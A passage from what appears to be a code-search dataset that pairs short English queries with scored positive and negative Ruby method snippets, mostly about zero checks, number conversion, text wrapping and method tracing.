"text": "def width\n #@font.text_width(self.text)\n return 200\n end",
"title": ""
},
{
"docid": "43f3e551432699b680048ae1fc3b6ff9",
"score": "0.58757913",
"text": "def wrap_words(s, limit)\n result = []\n words = s.split(\" \")\n\n line = []\n j = 0\n\n while j < words.size\n line << words[j]\n\n # Use join(\" \") to add space to the string\n if line.join(\" \").size > limit && line.size == 1 # When the word length is longer than the limit\n result << line.join(\" \")\n line = []\n elsif line.join(\" \").size > limit\n line.pop\n result << line.join(\" \")\n line = []\n next\n end\n\n if j == words.size - 1 && line != []# When we reach the end of the array\n result << line.join(\" \")\n end\n\n j += 1\n end\n\n p result\nend",
"title": ""
},
{
"docid": "1a07ac837d862c07daddac73fa1a187d",
"score": "0.5846628",
"text": "def write_breaking(text, x, y, width, mode = :left, color = 0, alpha = 0xff, z_index = 0)\n color = (alpha << 24) | color\n text.split(\"\\n\").each do |p|\n if mode == :justified\n y = write_paragraph_justified p, x, y, width, color, z_index\n else\n rel =\n case mode\n when :left then 0\n when :center then 0.5\n when :right then 1\n else 0\n end\n y = write_paragraph p, x, y, width, rel, color, z_index\n end\n end\n end",
"title": ""
}
] |
69f81c6c2cba706b85f82600d50ad101 | There's no such thing as 0 in ruby | [
{
"docid": "b9188c57083eff0771689a7089aad8de",
"score": "0.0",
"text": "def negative(num)\n -(num.abs)\nend",
"title": ""
}
] | [
{
"docid": "bdae7f1451845a364fcb575ce3233cb5",
"score": "0.8529851",
"text": "def zero?; end",
"title": ""
},
{
"docid": "bdae7f1451845a364fcb575ce3233cb5",
"score": "0.8529851",
"text": "def zero?; end",
"title": ""
},
{
"docid": "71ea4a4080c37e8c055038712b271e2e",
"score": "0.80840665",
"text": "def value() 0 end",
"title": ""
},
{
"docid": "2bf4ae38e73bc0a6b38ac81af4220a92",
"score": "0.7908459",
"text": "def zero?(*) end",
"title": ""
},
{
"docid": "36aff1d2460a48470942664ba8cf3e09",
"score": "0.7699006",
"text": "def zero?\n end",
"title": ""
},
{
"docid": "36aff1d2460a48470942664ba8cf3e09",
"score": "0.7699006",
"text": "def zero?\n end",
"title": ""
},
{
"docid": "285dca64887ee9ea4889776fb285ad4d",
"score": "0.7587659",
"text": "def none\n 0\n end",
"title": ""
},
{
"docid": "ad8b8cd20e87176d5bb27964fbb6c461",
"score": "0.75491977",
"text": "def zero?()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "b7594ce1943a238c0b42d7ac7a9824cc",
"score": "0.7341864",
"text": "def zero\n\t\t\t@value = 0\n\t\tend",
"title": ""
},
{
"docid": "b7594ce1943a238c0b42d7ac7a9824cc",
"score": "0.7341864",
"text": "def zero\n\t\t\t@value = 0\n\t\tend",
"title": ""
},
{
"docid": "b301f91ece291a66f7e618c2e5e15047",
"score": "0.73099065",
"text": "def zero? \n self._equal?(0)\n end",
"title": ""
},
{
"docid": "b6212bfb7370b285fbc00fe87b561831",
"score": "0.7296543",
"text": "def zero\n @zero ||= new(0)\n end",
"title": ""
},
{
"docid": "82611dc8eb05b361f0ef97ddc893a1fd",
"score": "0.7164321",
"text": "def to_i = 0",
"title": ""
},
{
"docid": "61940b7a89e12783b795bfa2842e40bb",
"score": "0.7127306",
"text": "def zero?\n to_i.zero?\n end",
"title": ""
},
{
"docid": "da74a9b4b916e4d523fa063daa70598f",
"score": "0.71232677",
"text": "def zero\n Counter.new(nil)\n end",
"title": ""
},
{
"docid": "b736b0ba676185bae9f2861227482560",
"score": "0.7120098",
"text": "def zero; new end",
"title": ""
},
{
"docid": "fee7a372f14ecdf61178aa08628c8c18",
"score": "0.71136427",
"text": "def zero?\n @i.zero?\n end",
"title": ""
},
{
"docid": "92baa6c2fe2e8b53246d6b0cef059ee3",
"score": "0.7103904",
"text": "def zero(sign = +1)\n num_class.zero(sign)\n end",
"title": ""
},
{
"docid": "17812c0d6d8e591621272aeefbfb5fcd",
"score": "0.7061334",
"text": "def to_i\n 0\n end",
"title": ""
},
{
"docid": "17812c0d6d8e591621272aeefbfb5fcd",
"score": "0.7061334",
"text": "def to_i\n 0\n end",
"title": ""
},
{
"docid": "d0a17432c5f2fedc205f64e32482757d",
"score": "0.7043849",
"text": "def zero?\n `this.valueOf()===0`\n end",
"title": ""
},
{
"docid": "7788defe8a36c83a42b5163253220ade",
"score": "0.69421077",
"text": "def zero?\n return self.base_scalar.zero?\n end",
"title": ""
},
{
"docid": "f7eb1e2c2c37fc06e0290161bc641d7d",
"score": "0.693677",
"text": "def to_i\n return 0\n end",
"title": ""
},
{
"docid": "1900268cd529d818ccb00349e3bdeea6",
"score": "0.6900255",
"text": "def zero_if_negative the_number\n\t\treturn the_number < 0 ? 0 : the_number\n\tend",
"title": ""
},
{
"docid": "b9fb88ad9598b4ad19390f63eba0ebe5",
"score": "0.68976057",
"text": "def zero?\n base_scalar.zero?\n end",
"title": ""
},
{
"docid": "da4634a6b5f00e8dfa3d182cc9dc7f66",
"score": "0.68759966",
"text": "def zero?\n @total.zero?\n end",
"title": ""
},
{
"docid": "10a5487dcf1cd4666c81d5184028a9c7",
"score": "0.6842874",
"text": "def zero(arg=nil)\n (!!arg) ? eval(\"0\"+arg): 0\nend",
"title": ""
},
{
"docid": "138bd6c09ea35efc099e80bce4c7ccf6",
"score": "0.6837302",
"text": "def zero\n @zero ||= Saxon::S9API::OccurrenceIndicator::ZERO\n end",
"title": ""
},
{
"docid": "9af315c77f0db087bb0716300f1d4f49",
"score": "0.68202275",
"text": "def nil_to_0()\n (self.nil?) ? 0 : self\n end",
"title": ""
},
{
"docid": "419d6b1003b289bfd549ebe35d20baae",
"score": "0.6815951",
"text": "def zero?\r\n Primitive.attr! 'inline'\r\n Primitive.cexpr! 'rb_int_zero_p(self)'\r\n end",
"title": ""
},
{
"docid": "1d553dd399fa70ec956c23b9a51cb367",
"score": "0.67840564",
"text": "def zero?\n to_d == 0\n end",
"title": ""
},
{
"docid": "c66967c2a3bd91e62252108a11be17bc",
"score": "0.6779041",
"text": "def zero?\n `return self == 0 ? Qtrue : Qfalse;`\n end",
"title": ""
},
{
"docid": "a64a3f9cb34f02c8896a4f2421dc937b",
"score": "0.677619",
"text": "def a; @a.to_i || 0x0; end",
"title": ""
},
{
"docid": "776ea877d533b49c369179ab7391f8ef",
"score": "0.67723316",
"text": "def nonzero?\n self\n end",
"title": ""
},
{
"docid": "8b0e5a2f47ee0f03302e7a9e6185bdd4",
"score": "0.6750264",
"text": "def or_zero(value)\n value.presence || 0\n end",
"title": ""
},
{
"docid": "1cfbcdcf3b803d9a9198528e41eb71a5",
"score": "0.6737966",
"text": "def zero( of: nil )\n absolute of: of, amount: 0\n end",
"title": ""
},
{
"docid": "3ce6541d3471c4f30c13a796af30abc0",
"score": "0.6729963",
"text": "def to_f\n 0\n end",
"title": ""
},
{
"docid": "e8ce9f9c4da0d925e4dfed893d82d1db",
"score": "0.66843927",
"text": "def test_int_num_is_zero\n assert_equal 0, @obj_fb.int_num, \"Incorrect default for int_num.\\nExpected 0 got #{@obj_fb.int_num}\"\n end",
"title": ""
},
{
"docid": "c37c3bc031040b10c6692abdfc08d1c3",
"score": "0.6674006",
"text": "def maybe_zero?\n return ! self.nonzero?\n end",
"title": ""
},
{
"docid": "a6a521d76b827a854bb366e73f013c69",
"score": "0.66582596",
"text": "def zero\n self.each{|k,v| self[k] = 0 }\n end",
"title": ""
},
{
"docid": "08a7e86eaed55dd87bd3cf0eb5ce27b4",
"score": "0.66580206",
"text": "def zero!\n set(0, 0)\n self\n end",
"title": ""
},
{
"docid": "47f4dd75e4c14ccf0442c908f6a21efd",
"score": "0.6645142",
"text": "def test_a0\n _test_a(0)\n end",
"title": ""
},
{
"docid": "50ce0edd21c05e1e51bf7d3d65b46aec",
"score": "0.6643658",
"text": "def nonzero?\n to_i.nonzero? ? self : nil\n end",
"title": ""
},
{
"docid": "4b11c7b15c01105da90839541e803c08",
"score": "0.6633742",
"text": "def zero(sign=+1)\n (sign < 0) ? -0.0 : 0.0\n end",
"title": ""
},
{
"docid": "cc1ee10218aa9b9199d1d8d4034a9b17",
"score": "0.6598899",
"text": "def nonzero?\n `return self == 0 ? nil : self;`\n end",
"title": ""
},
{
"docid": "deff398e83dfc6dd5861636430ca3c31",
"score": "0.658882",
"text": "def initialize\n @value = 0\n end",
"title": ""
},
{
"docid": "5704ef78eff122d2d63b360ca3c390d7",
"score": "0.65872777",
"text": "def zero?\n to_f.zero?\n end",
"title": ""
},
{
"docid": "9271a5263e915c7799441c9aa5518b9a",
"score": "0.65846574",
"text": "def to_number\n '0'\n end",
"title": ""
},
{
"docid": "9271a5263e915c7799441c9aa5518b9a",
"score": "0.65846574",
"text": "def to_number\n '0'\n end",
"title": ""
},
{
"docid": "94f863d25af55c9c3557a29790f29c90",
"score": "0.657526",
"text": "def zero\n @elements.find { |el| zero?(el) }\n end",
"title": ""
},
{
"docid": "a812976d0661fefcbb7506857c75a27e",
"score": "0.65669125",
"text": "def zero?\n self.map{ |x| return false if x != 0 }\n true\n end",
"title": ""
},
{
"docid": "c410f6c3c11966c7274f72d1304ae50b",
"score": "0.6542088",
"text": "def if_chuck_says_so\n 0\nend",
"title": ""
},
{
"docid": "d9855a0cc7375a9ea92f4227587b5426",
"score": "0.65229505",
"text": "def zero(expr=nil)\n expr.nil? ? 0 : expr.call(0)\nend",
"title": ""
},
{
"docid": "40b0179773adf3d179ab420d95c1cf3c",
"score": "0.6522058",
"text": "def -@ float\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "73abea17d5caed114ad2076a0f0804d5",
"score": "0.6509151",
"text": "def desire()\n\t\treturn 0\n\tend",
"title": ""
},
{
"docid": "abe2f00a1bfb49301c560f58d3d2b63c",
"score": "0.64895296",
"text": "def b; @b.to_i || 0x0; end",
"title": ""
},
{
"docid": "a57f4b76ea970ea5ee48d53947a98e27",
"score": "0.6475831",
"text": "def eva\n return 0\n end",
"title": ""
},
{
"docid": "a57f4b76ea970ea5ee48d53947a98e27",
"score": "0.6475831",
"text": "def eva\n return 0\n end",
"title": ""
},
{
"docid": "a8884a6a37056d703087a8f56df80945",
"score": "0.6470946",
"text": "def test_calculate_value_zero\r\n assert_equal @g.table[0], @g.calculate_value([40])\r\n end",
"title": ""
},
{
"docid": "846134f2b3674343fd23426ba82b2497",
"score": "0.64664525",
"text": "def nonzero\n [self, 0].max\n end",
"title": ""
},
{
"docid": "0b2cb43abf199c75a9e516ef6dd005d0",
"score": "0.6465774",
"text": "def lookback()\n 0\n end",
"title": ""
},
{
"docid": "23963d8c6605ed92433428f3d7d8ec21",
"score": "0.6465459",
"text": "def zero!\n set(0, 0, 0)\n self\n end",
"title": ""
},
{
"docid": "6f7f32c920fdfdb5168e49949cfbaf5c",
"score": "0.6465367",
"text": "def getZero(var)\n if var.vtype == \"Float32\"\n return \"0.0f\"\n end\n if var.vtype == \"Float64\"\n return \"0.0\"\n end\n\n return \"0\"\n end",
"title": ""
},
{
"docid": "165e7137749c0a0a4234b0dce66a5360",
"score": "0.64631426",
"text": "def l0\n set \"0\"\n end",
"title": ""
},
{
"docid": "319844747af69d9b07ea6b54b97db82d",
"score": "0.64569056",
"text": "def x\n @x ||= 0\n end",
"title": ""
},
{
"docid": "319844747af69d9b07ea6b54b97db82d",
"score": "0.64569056",
"text": "def x\n @x ||= 0\n end",
"title": ""
},
{
"docid": "5be026ff26b07864c5114307430afb56",
"score": "0.6454912",
"text": "def zero\n self.current = 0\n end",
"title": ""
},
{
"docid": "c0b44cb456408b0b0b26ac6fe8705810",
"score": "0.64515436",
"text": "def zero_or_not(elem)\n if elem == 0\n 0\n else\n elem\n end\nend",
"title": ""
},
{
"docid": "010303c7098c685d2e99b88e37c20662",
"score": "0.6450638",
"text": "def x\n (last == nil) ? 0 : last\n end",
"title": ""
},
{
"docid": "c56e69595dc13139c354500915e00ed0",
"score": "0.6449911",
"text": "def zero?\n\t\t\t@amount.zero?\n\t\tend",
"title": ""
},
{
"docid": "e40ae648889377d89984da0c3c0e7a31",
"score": "0.6447333",
"text": "def nil_to_0(value)\n if value == nil\n 0\n else\n value\n end\n end",
"title": ""
},
{
"docid": "56d8a96aa9d0b4026d775b1e3a27add1",
"score": "0.64448255",
"text": "def zero?\n\t\t@mantissa.to_i == 0 && @fraction.to_i == 0\n\tend",
"title": ""
},
{
"docid": "22d4107b64736cfc0f21b4809e02a14b",
"score": "0.6433828",
"text": "def quantity_zero?\n return quantities.inject(0){ |sum, q| sum + q } == 0\n end",
"title": ""
},
{
"docid": "0d46cae42087e5d59e3be1fd8664c10e",
"score": "0.6413893",
"text": "def integer_value; end",
"title": ""
},
{
"docid": "0d46cae42087e5d59e3be1fd8664c10e",
"score": "0.6413893",
"text": "def integer_value; end",
"title": ""
},
{
"docid": "76bfe653819eaa8f9b3119adfe0dc7b2",
"score": "0.6402339",
"text": "def as_number\n RDF::Literal(0)\n end",
"title": ""
},
{
"docid": "194071219f6b4772434526b1f42640b0",
"score": "0.6394123",
"text": "def value\n val = fetch_value\n val if val.present? && val > 0\n end",
"title": ""
},
{
"docid": "6d45d64c18dcf29806bfc5a6ac54f47b",
"score": "0.63809633",
"text": "def f(x,y) \n if Fixnum == x.class then 0 else y end\nend",
"title": ""
},
{
"docid": "850dc6391541d03779834e381c908dfe",
"score": "0.63708687",
"text": "def as_number\n RDF::Literal(0)\n end",
"title": ""
},
{
"docid": "ab76d83f574f80bda2c4e9012cb2e5cc",
"score": "0.63552094",
"text": "def to_s\n \"0\"\n end",
"title": ""
},
{
"docid": "ae7c9463d9725450a75e24e7a56005e5",
"score": "0.63506573",
"text": "def IS_0(a)\n t = static :IS_0_t\n ZERO CARRY_REG\n ADC a, const(0xFFFF), t\n NOT CARRY_REG, ZERO_REG\nend",
"title": ""
},
{
"docid": "b14acb25a3e7ef28fce4881bc8f2b2c5",
"score": "0.6341839",
"text": "def zero?(id)\n self[id] == 0\n end",
"title": ""
},
{
"docid": "da2b46463695f227d4aeda0312bc51c9",
"score": "0.6336048",
"text": "def to_int\n nil\n end",
"title": ""
},
{
"docid": "151816c3c19adbb5022cf1d46ad8d689",
"score": "0.6334328",
"text": "def c; @c.to_i || 0x0; end",
"title": ""
},
{
"docid": "7e1e3b4596cb9f9de2db0344cc8a6a18",
"score": "0.6331308",
"text": "def zero\n currency.amount '0.00'\n end",
"title": ""
},
{
"docid": "ba3689e236e3aeb03c6387d082c0eb38",
"score": "0.6331011",
"text": "def normalize_zero(x)\n return x if x.zero?\n\n return x - 1 if x.positive?\n\n x + 1\n end",
"title": ""
},
{
"docid": "9455f3a93f3ee7cb0e9128088135a205",
"score": "0.6324996",
"text": "def inf\n 9999\n end",
"title": ""
},
{
"docid": "27c55b2a3d81c8fcae6a1524f162e1f1",
"score": "0.6321787",
"text": "def zero?\n @coeff==0 && !special?\n end",
"title": ""
},
{
"docid": "d4b97ec8721a0ce3f9afd3e5150c2197",
"score": "0.6314956",
"text": "def to_i; lib_ok? ? 1 : 0 end",
"title": ""
},
{
"docid": "f418cce980623a6690c35fc29ace1d1e",
"score": "0.6313212",
"text": "def zero\n create(zero: true)\n end",
"title": ""
},
{
"docid": "776744e2a30975edfda8d56bdb18b40d",
"score": "0.6307777",
"text": "def to_i\r\n nil\r\n end",
"title": ""
},
{
"docid": "03ae990f7903fb4076265056b05d5ce5",
"score": "0.6306404",
"text": "def test_zero_p\n LARGE_RANGE_VALUES.each do |x|\n expected_val = x.to_f.zero?\n actual_val = OraNumber.new(x).zero?\n assert_equal(expected_val, actual_val, x)\n end\n end",
"title": ""
},
{
"docid": "f1ed5a818616a07c33fdc3abfec9ff73",
"score": "0.62977237",
"text": "def zero?\n to_a.all? { |e| e.zero? }\n end",
"title": ""
},
{
"docid": "4792faba23b02ab2ddd7eb297d461f99",
"score": "0.62977016",
"text": "def test_number_m0\n assert_equal( nil, @Fib_obj.[](-3))\n end",
"title": ""
},
{
"docid": "044ee8895d5f2c41414c930ac6f628c6",
"score": "0.629056",
"text": "def rcrt\n return 0\n end",
"title": ""
},
{
"docid": "044ee8895d5f2c41414c930ac6f628c6",
"score": "0.629056",
"text": "def rcrt\n return 0\n end",
"title": ""
},
{
"docid": "044ee8895d5f2c41414c930ac6f628c6",
"score": "0.629056",
"text": "def rcrt\n return 0\n end",
"title": ""
},
{
"docid": "a4c12354c8af445089b21f5cb6c8f9f7",
"score": "0.6289592",
"text": "def zero?\n @id.zero?\n end",
"title": ""
},
{
"docid": "8d066c02d400abcd6ead6cf6a6544262",
"score": "0.6288878",
"text": "def amount_zero?\n amount.to_f == 0.0\n end",
"title": ""
},
{
"docid": "c22d3d0110f573d2d2305003d20746c6",
"score": "0.62813556",
"text": "def bol\n 0\n end",
"title": ""
},
{
"docid": "b139fd7079a038475f6eb9a2f8283e26",
"score": "0.6276769",
"text": "def effective_number=(_arg0); end",
"title": ""
}
] |
f94c2102aed015df97f5ee7b4f42ed5a | Set methods to be explicitly included in PHI access logging. | [
{
"docid": "89acb5ece21d7c32b1d836cb663a5673",
"score": "0.5869706",
"text": "def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end",
"title": ""
}
] | [
{
"docid": "06e5d58d0562449cb050e7b44819d0a3",
"score": "0.63509685",
"text": "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end",
"title": ""
},
{
"docid": "a7dc1dd330370bb7017ae0ecb4121dc9",
"score": "0.58697295",
"text": "def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end",
"title": ""
},
{
"docid": "9ba4a3a88cb0c3ed574da436b959cbac",
"score": "0.58480984",
"text": "def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end",
"title": ""
},
{
"docid": "ced7b97713f2380910fd9ee30c721a60",
"score": "0.57343465",
"text": "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end",
"title": ""
},
{
"docid": "3fb1fe835797b5f7d2917971b676cb62",
"score": "0.57175165",
"text": "def authen_method_line!()\n @authen_method = TAC_PLUS_AUTHEN_METH_LINE\n end",
"title": ""
},
{
"docid": "cf4b41a796706a9f2ae56ba2ae3dc00a",
"score": "0.56587446",
"text": "def methods=(value)\n @methods = value\n end",
"title": ""
},
{
"docid": "2c183963440a18a0d3dd9a2f2bb2e4ae",
"score": "0.5622327",
"text": "def register_capabilities(methods); end",
"title": ""
},
{
"docid": "2f6b3e940c519f5408a1c36aad4a3788",
"score": "0.5601767",
"text": "def protected_methods(all=true) end",
"title": ""
},
{
"docid": "d3de47dd146c2e20e02b8f476409ba04",
"score": "0.557728",
"text": "def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end",
"title": ""
},
{
"docid": "cc48b0129929813886ddcd0fe9ab8d19",
"score": "0.55037534",
"text": "def set_general_methods\n @methods_present ||= false\n unless @methods_present\n set_media_links_relation\n set_attributes\n set_validate_methods\n set_callbacks\n end\n @methods_present = true\n end",
"title": ""
},
{
"docid": "775e0b9dcc44b0a17c9bdb2f9de191d3",
"score": "0.54979783",
"text": "def methods(*args)\n (super + analyser.delegatable_methods).uniq\n end",
"title": ""
},
{
"docid": "2c646f89dfa258d24a15ec21915ac55a",
"score": "0.5462688",
"text": "def add_method_tracers methods, metric_name_code\n methods.each do |method_name|\n add_method_tracer method_name.to_sym, \"#{metric_name_code}#{method_name}\"\n end\n end",
"title": ""
},
{
"docid": "f4ad13bf5fa71b1e7bc47220336ffdbf",
"score": "0.5439841",
"text": "def methods() end",
"title": ""
},
{
"docid": "662432f8ed15af5d5c11c83cf4e1c4c3",
"score": "0.5405657",
"text": "def before_method(method)\n @@before_methods << method\n @@wrap_exclusions << method.to_sym # This method will not be wrapped.\n end",
"title": ""
},
{
"docid": "9c6ff831f47fa5e238217dbe6580078a",
"score": "0.5394823",
"text": "def merge_http_methods!(methods)\n self.http_methods |= methods\n end",
"title": ""
},
{
"docid": "529610fff958e6e4eea1e790fec20c2f",
"score": "0.5386332",
"text": "def add_accessors_to( packet )\r\n raise NotImplementedError\r\n end",
"title": ""
},
{
"docid": "41067550d3709ddebc9e9a7111e73a95",
"score": "0.5371919",
"text": "def set_cookie_persistence_method(opts)\n opts = check_params(opts,[:methods])\n super(opts)\n end",
"title": ""
},
{
"docid": "14f28643933ea62b1e6ab315c068d91c",
"score": "0.53650427",
"text": "def set_write_method\n @log.instance_eval do\n\n # Determine if asynchronous IO can be used\n def aio?\n @aio = !RUBY_PLATFORM.match(/java|mswin/) &&\n !(@log == STDOUT) &&\n @log.respond_to?(:write_nonblock)\n end\n\n # Define the write method based on if aio an be used\n undef write_method if defined? write_method\n if aio?\n alias :write_method :write_nonblock\n else\n alias :write_method :write\n end\n end\n end",
"title": ""
},
{
"docid": "a1b5929df4f2a1afc5148c1344d6c7f2",
"score": "0.53255963",
"text": "def authen_method_notset!()\n @authen_method = TAC_PLUS_AUTHEN_METH_NOT_SET\n end",
"title": ""
},
{
"docid": "b7210379acc32e66202deb4a78e45a0f",
"score": "0.5307336",
"text": "def methods\n super + DELEGATED_METHODS\n end",
"title": ""
},
{
"docid": "6a806e70817716f74d78521b09e6da5c",
"score": "0.5304386",
"text": "def patched_methods\n @patched_methods ||= {}.with_indifferent_access\n end",
"title": ""
},
{
"docid": "c49e9e53ce8831807ea939e191a8aaf5",
"score": "0.5302006",
"text": "def access_token_methods(*methods)\n @config.instance_variable_set(:@access_token_methods, methods)\n end",
"title": ""
},
{
"docid": "d280d55a240123edcb82e16767e520aa",
"score": "0.52863747",
"text": "def set_authentication_method(opts)\n opts = check_params(opts,[:auth_methods])\n super(opts)\n end",
"title": ""
},
{
"docid": "2641fc2d84ee84db1eee3216bbd9ee73",
"score": "0.528296",
"text": "def set_accessors\n\t\tt1 = Time.now.to_i\n\t\tself.gather_history\n\t\tself.load_local_item_group\n\t\tself.reports.each do |report|\n\t\t\t## set nil to give it a chance to reset\n\t\t\t## but what about \n\t\t\t## report.worth_processing = nil\n\t\t\treport.order_organization = self.organization\n\t\t\treport.consider_for_processing?(self.history_tags)\n\t\t\treport.set_accessors\n\t\tend\n\t\tself.set_can_be_finalized\n\t\tt2 = Time.now.to_i\n\t\tputs \"set accessors in order takes: #{t2*1000.to_f - t1*1000.to_f}\"\n\tend",
"title": ""
},
{
"docid": "f00062552d40ad8d0c8242879ba6db5f",
"score": "0.5274346",
"text": "def authentication_methods=(value)\n @authentication_methods = value\n end",
"title": ""
},
{
"docid": "badbd1a11c66fc75b0a8bc6923abdc3b",
"score": "0.52605236",
"text": "def check_only_methods\n end",
"title": ""
},
{
"docid": "2fb807ea71d67aef3c3d31a9dd6ad71f",
"score": "0.5213688",
"text": "def included_meths(opts = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "6969df06a5208746261af473fb803d7e",
"score": "0.52063054",
"text": "def allow_registration(method); end",
"title": ""
},
{
"docid": "bcea666c1809eb58bcfebe24ef3abab0",
"score": "0.52024674",
"text": "def set_functions\n super\n end",
"title": ""
},
{
"docid": "81d4df5ad146ad80d04a0812ce17c625",
"score": "0.519478",
"text": "def authen_method_enable!()\n @authen_method = TAC_PLUS_AUTHEN_METH_ENABLE\n end",
"title": ""
},
{
"docid": "addf120537f84d1b97d47e71399edeb1",
"score": "0.51726127",
"text": "def methods=(_arg0); end",
"title": ""
},
{
"docid": "1e5e53c4b9e93d9482caa25c8f435412",
"score": "0.5157439",
"text": "def methods; end",
"title": ""
},
{
"docid": "1e5e53c4b9e93d9482caa25c8f435412",
"score": "0.5157439",
"text": "def methods; end",
"title": ""
},
{
"docid": "1e5e53c4b9e93d9482caa25c8f435412",
"score": "0.5157439",
"text": "def methods; end",
"title": ""
},
{
"docid": "1e5e53c4b9e93d9482caa25c8f435412",
"score": "0.5157439",
"text": "def methods; end",
"title": ""
},
{
"docid": "ff78a545bf8993eb197239e06ab009bf",
"score": "0.5147735",
"text": "def autoroute_methods\n self.public_instance_methods.select{|m|m.to_s.start_with?(AutoRouter::Router::METHOD_PREFIX)}\n end",
"title": ""
},
{
"docid": "e12ad779ba1457a5cde0465d9a0cae5d",
"score": "0.5141144",
"text": "def use_as_method\n @method = true\n end",
"title": ""
},
{
"docid": "da0b0dd247df72a74f0e4cc30f7c5d36",
"score": "0.5138414",
"text": "def apply_to_methods\n # If method/methods option is set and all are String or Symbol, apply to those only, instead of\n # iterating through all methods\n methods = [@options[:method] || @options[:methods]]\n methods.compact!\n methods.flatten!\n\n if !methods.empty? && methods.all?{ |method| method.is_a?(String) || method.is_a?(Symbol) }\n methods.each do |method|\n apply_to_method(method.to_s)\n end\n\n return\n end\n\n context.public_instance_methods.each do |method|\n apply_to_method(method.to_s)\n end\n\n context.protected_instance_methods.each do |method|\n apply_to_method(method.to_s)\n end\n\n if @options[:private_methods]\n context.private_instance_methods.each do |method|\n apply_to_method(method.to_s)\n end\n end\n end",
"title": ""
},
{
"docid": "9a0a616b3d39461eff285dcdd9f76741",
"score": "0.51264614",
"text": "def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end",
"title": ""
},
{
"docid": "692282ddf4fb0454e63e21b65abd1899",
"score": "0.5124547",
"text": "def hooked_methods\n @hooked_methods ||= []\n end",
"title": ""
},
{
"docid": "b771fb67486401ac1da48a6bcc6e673e",
"score": "0.5120496",
"text": "def allow_instance_methods(*methods)\n @allowed_methods = methods\n end",
"title": ""
},
{
"docid": "3341443573f1db4d3bad98a9a28ddd55",
"score": "0.51128465",
"text": "def expose(*meths)\n @exposed ||= []\n meths.each do |meth|\n @exposed << meth unless @exposed.include?(meth)\n end\n @exposed\n end",
"title": ""
},
{
"docid": "fb406f7ce12de6afb639f756b2d74659",
"score": "0.5105254",
"text": "def test_only_adds_methods_to_host_that_are_part_of_public_api\n host_class = Class.new { include ::NewRelic::Agent::MethodTracer }\n plain_class = Class.new\n\n host_instance_methods = host_class.new.methods\n plain_instance_methods = plain_class.new.methods\n\n added_methods = host_instance_methods - plain_instance_methods\n\n public_api_methods = %w[\n trace_execution_unscoped\n trace_execution_scoped\n ]\n\n assert_equal(public_api_methods.sort, added_methods.map(&:to_s).sort)\n end",
"title": ""
},
{
"docid": "7e0467b2095ecaa6e07dcbd3860ae1f1",
"score": "0.5095661",
"text": "def filter_methods; end",
"title": ""
},
{
"docid": "954b086fa67dc4df9012d8e2b843869e",
"score": "0.509008",
"text": "def add_head_not_allowed_methods_and_options_methods\n versioned_route_configs = collect_route_config_per_pattern\n # The paths we collected are prepared (cf. Path#prepare), so they\n # contain already versioning information when using path versioning.\n # Disable versioning so adding a route won't prepend versioning\n # informations again.\n without_root_prefix do\n without_versioning do\n versioned_route_configs.each do |config|\n next if config[:options][:matching_wildchar]\n\n allowed_methods = config[:methods].dup\n\n allowed_methods |= [Grape::Http::Headers::HEAD] if !self.class.namespace_inheritable(:do_not_route_head) && allowed_methods.include?(Grape::Http::Headers::GET)\n\n allow_header = (self.class.namespace_inheritable(:do_not_route_options) ? allowed_methods : [Grape::Http::Headers::OPTIONS] | allowed_methods)\n\n config[:endpoint].options[:options_route_enabled] = true unless self.class.namespace_inheritable(:do_not_route_options) || allowed_methods.include?(Grape::Http::Headers::OPTIONS)\n\n attributes = config.merge(allowed_methods: allowed_methods, allow_header: allow_header)\n generate_not_allowed_method(config[:pattern], **attributes)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "d85fe52479e22c8c77134d30dd5f3966",
"score": "0.508568",
"text": "def methods(include_ancestors = true)\n super + @driver.methods(false)\n end",
"title": ""
},
{
"docid": "e701837fa8d2642b3a419dda5f8ce7aa",
"score": "0.5085157",
"text": "def write_method=(val)\n @write_method = val if %w(:flock :normal).include(val)\n end",
"title": ""
},
{
"docid": "1b5fbcd86ff58d1e1f1e3e2da142aeb4",
"score": "0.5083396",
"text": "def set_methods_prevention\n @methods_prevention = MethodsPrevention.find(params[:id])\n end",
"title": ""
},
{
"docid": "c4418278eeaea4f47a62b7f233fea49c",
"score": "0.5080015",
"text": "def add_to_whitelist(method=:ALLOW)\n if [:ALLOW, :SWALLOW].include?(method) && query_whitelist(/^#{Regexp.escape(@data[:argument])}/)==:DENY\n File.append(\"#{$config[:'config-dir']}/#{@data[:recipient]}\", \"#{@data[:argument]}\\t#{method}\\n\")\n end\n end",
"title": ""
},
{
"docid": "0ee6e02430e30a15224c1c21591d5fa3",
"score": "0.50764984",
"text": "def method_added(*) end",
"title": ""
},
{
"docid": "2aab924bd68cc9a06e6d2e15297503f3",
"score": "0.50704914",
"text": "def set_hash_method(opts)\n opts = check_params(opts,[:methods])\n super(opts)\n end",
"title": ""
},
{
"docid": "fb74989de5f5481c620a191557f825e5",
"score": "0.5049929",
"text": "def to_donate_methods\n if should_donate? and !@methods.empty?\n fragment(\"%s;$opal.donate(self, [%s]);\" % [@compiler.parser_indent, @methods.map(&:inspect).join(', ')])\n else\n fragment(\"\")\n end\n end",
"title": ""
},
{
"docid": "ba1a7b2bc778c6b7e3e864917bcc586d",
"score": "0.5043694",
"text": "def enable_logging(opts); end",
"title": ""
},
{
"docid": "b2d5fb5dea9b48ebc0509fa417bee4ee",
"score": "0.5037592",
"text": "def instance_methods(include_super=true) end",
"title": ""
},
{
"docid": "4b594de784de4227289c1ed20f218bdc",
"score": "0.5032661",
